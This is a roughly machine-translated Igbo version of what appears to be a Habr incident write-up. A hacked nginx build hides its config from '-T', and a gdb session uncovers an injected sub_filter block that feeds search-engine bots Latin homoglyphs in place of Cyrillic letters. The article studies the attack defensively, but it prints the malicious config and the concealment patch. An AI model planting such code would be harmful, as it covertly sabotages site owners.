Mgbe 'a' na-erughị 'a'. N'ihi mbanye anataghị ikike

Akụkọ kacha na-adịghị mma mere otu n'ime ndị enyi m. Ma dị ka ọ na-adịghị mma ka ọ tụgharịrị bụrụ maka Mikhail, ọ bụụrụ m ihe ntụrụndụ.

M ga-asị na enyi m bụ nnọọ UNIX-user: nwere ike iwunye usoro n'onwe ya MySQL, PHP ma mee ntọala dị mfe nginx.
O nwekwara ebe nrụọrụ weebụ iri na abuo ma ọ bụ otu na ọkara raara nye ngwá ọrụ ihe owuwu.

Otu n'ime saịtị ndị a raara nye chainsaws na-anọdụ ala na TOP nke igwe ọchụchọ. Saịtị a bụ onye nyocha na-abụghị nke azụmahịa, mana mmadụ nwere omume ịwakpo ya. Nke ahụ DDoS, mgbe ahụ ike ọjọọ, mgbe ahụ, ha na-ede okwu rụrụ arụ ma na-ezigara ndị ọbịa na RKN mkparị.
Na mberede, ihe niile dị jụụ na nke a dị jụụ wee bụrụ nke na-adịghị mma, saịtị ahụ wee malite iji nwayọọ nwayọọ na-ahapụ ahịrị elu nke nsonaazụ ọchụchọ.

Mgbe 'a' na-erughị 'a'. N'ihi mbanye anataghị ikike

Nke ahụ bụ okwu, mgbe ahụ akụkọ admin n'onwe ya.

Ọ na-eru nso n'oge ụra mgbe ekwentị kụrụ: “San, ị gaghị ele ihe nkesa m anya? Ọ dị m ka a kpọbatara m, enweghị m ike igosi ya, mana mmetụta ahụ ahapụbeghị m maka izu nke atọ. Ma eleghị anya, ọ bụ naanị oge m ga-enweta ọgwụgwọ maka paranoia? "

Ihe sochiri ya bụ mkparịta ụka were ọkara awa nke enwere ike ịchịkọta dịka ndị a:

  • ala maka hacking bụ ezigbo nri;
  • onye na-awakpo nwere ike nweta ikike onye isi;
  • Mwakpo ahụ (ma ọ bụrụ na ọ mere) ezubere iche na saịtị a;
  • Edoziwo mpaghara nsogbu na naanị ị ga-achọ ịghọta ma ọ nweghị ntinye;
  • mbanye anataghị ikike enweghị ike imetụta koodu saịtị na ọdụ data.

Banyere isi ihe ikpeazụ.

Mgbe 'a' na-erughị 'a'. N'ihi mbanye anataghị ikike

Naanị IP frontend ọcha na-ele anya n'ụwa. Enweghị mgbanwe n'etiti azụ azụ na frontend ma e wezụga http (s), ndị ọrụ / okwuntughe dị iche, ọ dịghị igodo gbanwere. Na adreesị isi awọ, a na-emechi ọdụ ụgbọ mmiri niile ma e wezụga 80/443. Ọ bụ naanị ndị ọrụ abụọ maara IP backend ọcha, ndị Mikhail tụkwasịrị obi kpamkpam.

Awụnyere n'ihu ihu Debian 9 na site na mgbe a na-akpọ oku, usoro a na-ekewapụ ụwa site na firewall dị n'èzí ma kwụsị.

"Ọ dị mma, nye m ohere," ekpebiri m ịkwụsị ụra maka otu awa. "M ga-eji anya m hụ."

Ebe a na n'ihu:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Na-achọ mbanye anataghị ikike nwere ike

M na-amalite ihe nkesa, nke mbụ n'ime ụdị nnapụta. M na-awụnye diski ndị ahụ ma tụgharịa na ha eziokwu-akwụkwọ ndekọ, akụkọ ihe mere eme, ndekọ usoro, wdg, ọ bụrụ na ọ ga-ekwe omume, m na-enyocha ụbọchị nke ịmepụta faịlụ, ọ bụ ezie na m ghọtara na onye na-agba chaa chaa na-emekarị "ga-ekpochapụ" n'onwe ya, na Misha enweelarị "arịda" ọtụtụ mgbe ọ na-achọ onwe ya. .

M na-amalite na nkịtị mode, na-aghọtabeghị n'ezie ihe na-achọ, m na-amụ configs. Nke mbụ, enwere m mmasị nginx ebe ọ bụ na, n'ozuzu, ọ dịghị ihe ọzọ na frontend ma e wezụga ya.
Nhazi ahụ dị obere, ahaziri nke ọma n'ime faịlụ iri na abụọ, naanị m na-ele anya na ha pusi'oh otu otu. Ihe niile dị ka ọ dị ọcha, mana ị maghị ma ọ bụrụ na m tụfuru ihe agụnye, ka m mee ndepụta zuru ezu:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Aghọtaghị m: "Olee ebe ndepụta ahụ dị?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

A gbakwụnye ajụjụ nke abụọ n'ajụjụ a depụtara: "Gịnị kpatara ụdị nginx ochie a?"

Na mgbakwunye, usoro ahụ kwenyere na arụnyere ụdị kachasị ọhụrụ:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

m na-akpọ:
- Misha, gịnị mere i ji chịkọtaghachi nginx?
- Chere, amaghị m otu esi eme nke a!
- Ọ dị mma, gaa hie ụra ...

Nginx a na-ewughachi ya nke ọma na mmepụta nke ndepụta na-eji "-T" zoro ezo maka ihe kpatara ya. Enweghị obi abụọ ọ bụla gbasara hacking na ị nwere ike ịnakwere ya na (ebe ọ bụ na Misha dochie ihe nkesa ahụ na nke ọhụrụ) tụlee nsogbu ahụ edozi.

Na n'ezie, ebe ọ bụ na mmadụ nwetara ikike mgbọrọgwụ'ah, mgbe ahụ ọ bụ naanị ezi uche ime usoro reinstall, ọ baghịkwa uru ịchọ ihe na-ezighị ezi n'ebe ahụ, ma n'oge a, ọchịchọ ịmata ihe meriri ụra. Olee otú anyị ga-esi amata ihe ha chọrọ izochiri anyị?

Ka anyị gbalịa ịchọta:

$ strace nginx -T

Anyị na-ele ya anya, e nwere n'ụzọ doro anya ezughị ahịrị na Chọpụta a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Naanị maka ntụrụndụ, ka anyị tụlee ihe nchoputa.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Echere m akụkụ nke koodu ahụ /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

e wetara ya n'ụdị:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ma ọ bụ

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

ya mere ndepụta nke "-T" adịghị egosipụta.

Mana kedu ka anyị ga-esi lelee nhazi anyị?

Ọ bụrụ na echiche m ziri ezi na nsogbu bụ naanị na mgbanwe ngx_dump_config Ka anyị gbalịa iji wụnye ya gdb, ọ dabara na enwere igodo --na-cc-opt -g ugbu a na-atụ anya na njikarịcha -O2 ọ gaghị emerụ anyị ahụ́. N'otu oge ahụ, ebe ọ bụ na amaghị m otú ngx_dump_config enwere ike hazie ya ikpe 'T':, anyị agaghị akpọ ngọngọ a, ma tinye ya na iji ikpe 't':

Kedu ihe kpatara ị ga-eji '-t' yana '-T'Nhazi ngọngọ ọ bụrụ (ngx_dump_config) emee n'ime ọ bụrụ (ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

N'ezie, ọ bụrụ na koodu gbanwere na akụkụ a ma ọ bụghị na ikpe 'T':, mgbe ahụ usoro m agaghị arụ ọrụ.

Nwalee nginx.confN'ịbụ onye edozilarị nsogbu ahụ na nnwale, ewepụtara na achọrọ nhazi kacha nta ka malware rụọ ọrụ nginx ụdị:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Anyị ga-eji ya maka nkenke na isiokwu.

Mepee ihe nbibi

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Nzọụkwụ site nzọụkwụ:

  • tọọ ebe nkwụsịtụ n'ọrụ ahụ isi ()
  • malite mmemme
  • gbanwee uru nke mgbanwe nke na-ekpebi mmepụta nke nhazi ngx_dump_config=1
  • gaa n'ihu / kwụsị mmemme

Dị ka anyị nwere ike ịhụ, ezigbo nhazi dị iche na nke anyị, anyị na-ahọrọ mpempe parasitic na ya:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Ka anyị leba anya n'ihe na-eme ebe a n'usoro.

Kpebisiri ike Onye ọrụ-Agentyandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Ewepula ibe ọrụ wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Na maka ndị dara n'okpuru ọnọdụ abụọ a dị n'elu

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

na ederede HTML-ibe mgbanwe 'O' on 'o' и 'A' on 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Nke ahụ ziri ezi, naanị aghụghọ bụ nke ahụ 'a'! = 'a' yana 'o'! = 'o':

Mgbe 'a' na-erughị 'a'. N'ihi mbanye anataghị ikike

Ya mere, bots search engine na-enweta, kama ederede 100% Cyrillic nkịtị, ihe mkpofu gbanwetụrụ na Latin. 'a' и 'o'. Anaghị m anwa anwa ikwurịta otú nke a si emetụta SEO, ma o yighị ka akwụkwọ ozi dị otú ahụ ga-enwe mmetụta dị mma na ọnọdụ na nsonaazụ ọchụchọ.

Kedu ihe m nwere ike ikwu, ụmụ okorobịa nwere echiche.

zoro

Iji GDB na-emezi ihe
gdb (1) - ibe Linux nwoke
strace (1) - ibe Linux nwoke
Nginx - modul ngx_http_sub_module
Banyere nkwọ, chainsaws na eletriki nkwọ

isi: www.habr.com

Tinye a comment